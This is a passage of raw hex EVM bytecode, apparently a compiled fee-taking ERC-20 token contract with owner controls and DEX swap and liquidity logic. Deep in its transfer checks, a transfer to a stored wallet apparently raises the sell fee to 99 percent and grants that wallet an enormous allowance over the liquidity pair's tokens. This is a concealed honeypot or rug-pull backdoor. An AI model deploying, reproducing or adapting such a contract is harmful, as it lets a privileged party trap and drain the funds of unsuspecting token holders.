3157600080fd5b50610d3a612b71565b604051610d479190614401565b60405180910390f35b348015610d5c57600080fd5b50610d776004803603810190610d7291906147c7565b612b77565b005b348015610d8557600080fd5b50610d8e612e23565b604051610d9b9190614855565b60405180910390f35b348015610db057600080fd5b50610db9612e49565b604051610dc6919061460f565b60405180910390f35b600f5481565b6000610ddf612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e63906148fc565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ebc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee09190614931565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6b9190614931565b6040518363ffffffff1660e01b8152600401610f8892919061495e565b602060405180830381865afa158015610fa5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc99190614931565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361115c578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106e9190614931565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f99190614931565b6040518363ffffffff1660e01b815260040161111692919061495e565b6020604051808303816000875af1158015611135573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111599190614931565b91505b81601d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160196000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601b6000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b6060600180546112e7906149b6565b80601f0160208091040260200160405190810160405280929190818152602001828054611313906149b6565b80156113605780601f1061133557610100808354040283529160200191611360565b820191906000526020600020905b81548152906001019060200180831161134357829003601f168201915b5050505050905090565b600061137e611377612e5c565b8484612e64565b6001905092915050565b60105481565b600e5481565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600654905090565b600c5481565b601e5481565b6113d8612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145c906148fc565b60405180910390fd5b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006114cd84848461302d565b5061158f846114da612e5c565b61158a8560405180606001604052806028815260200161554660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611540612e5c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136559092919063ffffffff16565b612e64565b600190509392505050565b6115a2612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461162f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611626906148fc565b60405180910390fd5b80601760006101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60006116af61169e7f0000000000000000000000000000000000000000000000000000000000000000611bf1565b6006546136b990919063ffffffff16565b905090565b60135481565b600043905090565b6116ca612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174e906148fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036117c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bd90614a33565b60405180910390fd5b6001601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600060186000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f086aa05ff00214e2d0c7c02b8a46b2614ad955732e6b43aa8afca69ed1ad76f860405160405180910390a380600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360009054906101000a900460ff16905090565b6000611a1861197c612e5c565b84611a13856005600061198d612e5c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461370390919063ffffffff16565b612e64565b6001905092915050565b611a2a612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae906148fc565b60405180910390fd5b8060078190555050565b601b6020528060005260406000206000915054906101000a900460ff1681565b60115481565b60186020528060005260406000206000915054906101000a900460ff1681565b611b0f612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b93906148fc565b60405180910390fd5b611ba68282613761565b600d54600c541115611bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be490614ac5565b60405180910390fd5b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611c42612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc6906148fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b611d9b612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1f906148fc565b60405180910390fd5b6001602060006101000a81548160ff021916908315150217905550565b60155481565b60165481565b600a5481565b611e5f612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611eec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee3906148fc565b60405180910390fd5b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611f4f612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611fdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd3906148fc565b60405180910390fd5b611fe68282613789565b601154601054111561202d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202490614b57565b60405180910390fd5b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054612069906149b6565b80601f0160208091040260200160405190810160405280929190818152602001828054612095906149b6565b80156120e25780601f106120b7576101008083540402835291602001916120e2565b820191906000526020600020905b8154815290600101906020018083116120c557829003601f168201915b5050505050905090565b6000600754905090565b60145481565b60006121bf612109612e5c565b846121ba8560405180606001604052806025815260200161556e6025913960056000612133612e5c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136559092919063ffffffff16565b612e64565b6001905092915050565b60006121dd6121d6612e5c565b848461302d565b506001905092915050565b60125481565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60196020528060005260406000206000915054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d5481565b6122ef612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461237c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612373906148fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036123eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e290614a33565b60405180910390fd5b6001601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600060186000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f6080503d1da552ae8eb4b7b8a20245d9fabed014180510e7d1a05ea08fdb0f3e60405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612585612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612612576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612609906148fc565b60405180910390fd5b8060158190555050565b612624612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a8906148fc565b60405180910390fd5b81601281905550806013819055506013546012546126cf9190614ba6565b60148190555060646014541461271a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161271190614c4c565b60405180910390fd5b5050565b612726612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127aa906148fc565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b612816612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146128a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289a906148fc565b60405180910390fd5b8060168190555050565b6128b5612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612942576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612939906148fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036129b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a890614cde565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612a76612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612b03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612afa906148fc565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601760009054906101000a900460ff1681565b601f5481565b612b7f612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c03906148fc565b60405180910390fd5b6000600267ffffffffffffffff811115612c2957612c28614cfe565b5b604051908082528060200260200182016040528015612c575781602001602082028036833780820191505090505b509050601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612cc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ceb9190614931565b81600081518110612cff57612cfe614d2d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110612d4e57612d4d614d2d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de958360008461dead426040518663ffffffff1660e01b8152600401612ded9493929190614e55565b6000604051808303818588803b158015612e0657600080fd5b505af1158015612e1a573d6000803e3d6000fd5b50505050505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b602060009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eca90614f13565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612f42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f3990614fa5565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516130209190614401565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361309d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161309490615037565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361310c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613103906150c9565b60405180910390fd5b602060009054906101000a900460ff1661319657613128612031565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614613195576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161318c9061515b565b60405180910390fd5b5b601d60149054906101000a900460ff16156131bd576131b68484846137b1565b905061364e565b6131c5612031565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156132335750613203612031565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561324457613243848484613984565b5b600061324f30611bf1565b905060006007548210159050601860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156132b25750805b80156132cb5750601d60149054906101000a900460ff16155b80156133215750601b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156133305761332f82613b36565b5b6133b9846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136559092919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000601860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061349f5750601860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6134b3576134ae878787613cee565b6134b5565b845b9050601760009054906101000a900460ff16801561351d5750601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561354c576016546135408261353289611bf1565b61370390919063ffffffff16565b111561354b57600080fd5b5b61359e81600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461370390919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161363e9190614401565b60405180910390a3600193505050505b9392505050565b600083831115829061369d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136949190614566565b60405180910390fd5b50600083856136ac919061517b565b9050809150509392505050565b60006136fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613655565b905092915050565b60008082846137129190614ba6565b905083811015613757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161374e906151fb565b60405180910390fd5b8091505092915050565b81600b8190555080600a81905550600a54600b5461377f9190614ba6565b600c819055505050565b81600f8190555080600e81905550600e54600f546137a79190614ba6565b6010819055505050565b600061383c826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136559092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506138d182600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461370390919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516139719190614401565b60405180910390a3600190509392505050565b601554811115806139de5750601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b613a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613a1490615267565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613b3157613a7e60016063613789565b6ec097ce7bc90715b34b9f100000000060056000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6001601d60146101000a81548160ff0219169083151502179055506000613b8f6002613b81601454613b7360125487613f1590919063ffffffff16565b613f8f90919063ffffffff16565b613f8f90919063ffffffff16565b90506000613ba682846136b990919063ffffffff16565b9050613bb181613fd9565b60004790506000613be2613bd16002601254613f8f90919063ffffffff16565b6014546136b990919063ffffffff16565b90506000613c206002613c1284613c0460125488613f1590919063ffffffff16565b613f8f90919063ffffffff16565b613f8f90919063ffffffff16565b90506000613c3782856136b990919063ffffffff16565b90506000811115613c6f57613c6e600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682614255565b5b600082118015613c7f5750600086115b15613cca57613c8e86836142a0565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561858388604051613cc193929190615287565b60405180910390a15b5050505050506000601d60146101000a81548160ff02191690831515021790555050565b60008060009050601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613d7657613d6f6064613d61600c5486613f1590919063ffffffff16565b613f8f90919063ffffffff16565b9050613df4565b601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613df357613df06064613de260105486613f1590919063ffffffff16565b613f8f90919063ffffffff16565b90505b5b6000811115613ef857613e4f81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461370390919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613eef9190614401565b60405180910390a35b613f0b81846136b990919063ffffffff16565b9150509392505050565b6000808303613f275760009050613f89565b60008284613f3591906152be565b9050828482613f44919061532f565b14613f84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613f7b906153d2565b60405180910390fd5b809150505b92915050565b6000613fd183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614385565b905092915050565b6000600267ffffffffffffffff811115613ff657613ff5614cfe565b5b6040519080825280602002602001820160405280156140245781602001602082028036833780820191505090505b509050308160008151811061403c5761403b614d2d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156140e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141079190614931565b8160018151811061411b5761411a614d2d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061418230601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612e64565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016141e69594939291906153f2565b600060405180830381600087803b15801561420057600080fd5b505af1158015614214573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161424992919061544c565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561429b573d6000803e3d6000fd5b505050565b6142cd30601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612e64565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080614319612031565b426040518863ffffffff1660e01b815260040161433b9695949392919061547c565b60606040518083038185885af1158015614359573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061437e91906154f2565b5050505050565b600080831182906143cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016143c39190614566565b60405180910390fd5b50600083856143db919061532f565b9050809150509392505050565b6000819050919050565b6143fb816143e8565b82525050565b600060208201905061441660008301846143f2565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061444c82614421565b9050919050565b61445c81614441565b811461446757600080fd5b50565b60008135905061447981614453565b92915050565b6000602082840312156144955761449461441c565b5b60006144a38482850161446a565b91505092915050565b6144b581614441565b82525050565b60006020820190506144d060008301846144ac565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156145105780820151818401526020810190506144f5565b60008484015250505050565b6000601f19601f8301169050919050565b6000614538826144d6565b61454281856144e1565b93506145528185602086016144f2565b61455b8161451c565b840191505092915050565b60006020820190508181036000830152614580818461452d565b905092915050565b614591816143e8565b811461459c57600080fd5b50565b6000813590506145ae81614588565b92915050565b600080604083850312156145cb576145ca61441c565b5b60006145d98582860161446a565b92505060206145ea8582860161459f565b9150509250929050565b60008115159050919050565b614609816145f4565b82525050565b60006020820190506146246000830184614600565b92915050565b6000819050919050565b600061464f61464a61464584614421565b61462a565b614421565b9050919050565b600061466182614634565b9050919050565b600061467382614656565b9050919050565b61468381614668565b82525050565b600060208201905061469e600083018461467a565b92915050565b6146ad816145f4565b81146146b857600080fd5b50565b6000813590506146ca816146a4565b92915050565b600080604083850312156146e7576146e661441c565b5b60006146f58582860161446a565b9250506020614706858286016146bb565b9150509250929050565b6000806000606084860312156147295761472861441c565b5b60006147378682870161446a565b93505060206147488682870161446a565b92505060406147598682870161459f565b9150509250925092565b6000602082840312156147795761477861441c565b5b6000614787848285016146bb565b91505092915050565b600060ff82169050919050565b6147a681614790565b82525050565b60006020820190506147c1600083018461479d565b92915050565b6000602082840312156147dd576147dc61441c565b5b60006147eb8482850161459f565b91505092915050565b6000806040838503121561480b5761480a61441c565b5b60006148198582860161459f565b925050602061482a8582860161459f565b9150509250929050565b600061483f82614421565b9050919050565b61484f81614834565b82525050565b600060208201905061486a6000830184614846565b92915050565b600080604083850312156148875761488661441c565b5b60006148958582860161446a565b92505060206148a68582860161446a565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006148e66020836144e1565b91506148f1826148b0565b602082019050919050565b60006020820190508181036000830152614915816148d9565b9050919050565b60008151905061492b81614453565b92915050565b6000602082840312156149475761494661441c565b5b60006149558482850161491c565b91505092915050565b600060408201905061497360008301856144ac565b61498060208301846144ac565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806149ce57607f821691505b6020821081036149e1576149e0614987565b5b50919050565b7f43616e6e6f742073657420746f20616464726573732030000000000000000000600082015250565b6000614a1d6017836144e1565b9150614a28826149e7565b602082019050919050565b60006020820190508181036000830152614a4c81614a10565b9050919050565b7f4d757374206b6565702066656573206174206d6178546f74616c46656542757960008201527f206f72206c657373000000000000000000000000000000000000000000000000602082015250565b6000614aaf6028836144e1565b9150614aba82614a53565b604082019050919050565b60006020820190508181036000830152614ade81614aa2565b9050919050565b7f4d757374206b6565702066656573206174206d6178546f74616c46656553656c60008201527f6c206f72206c6573730000000000000000000000000000000000000000000000602082015250565b6000614b416029836144e1565b9150614b4c82614ae5565b604082019050919050565b60006020820190508181036000830152614b7081614b34565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614bb1826143e8565b9150614bbc836143e8565b9250828201905080821115614bd457614bd3614b77565b5b92915050565b7f446973747269627574696f6e206e6565647320746f20746f74616c20746f203160008201527f3030000000000000000000000000000000000000000000000000000000000000602082015250565b6000614c366022836144e1565b9150614c4182614bda565b604082019050919050565b60006020820190508181036000830152614c6581614c29565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614cc86026836144e1565b9150614cd382614c6c565b604082019050919050565b60006020820190508181036000830152614cf781614cbb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000614d81614d7c614d7784614d5c565b61462a565b6143e8565b9050919050565b614d9181614d66565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614dcc8161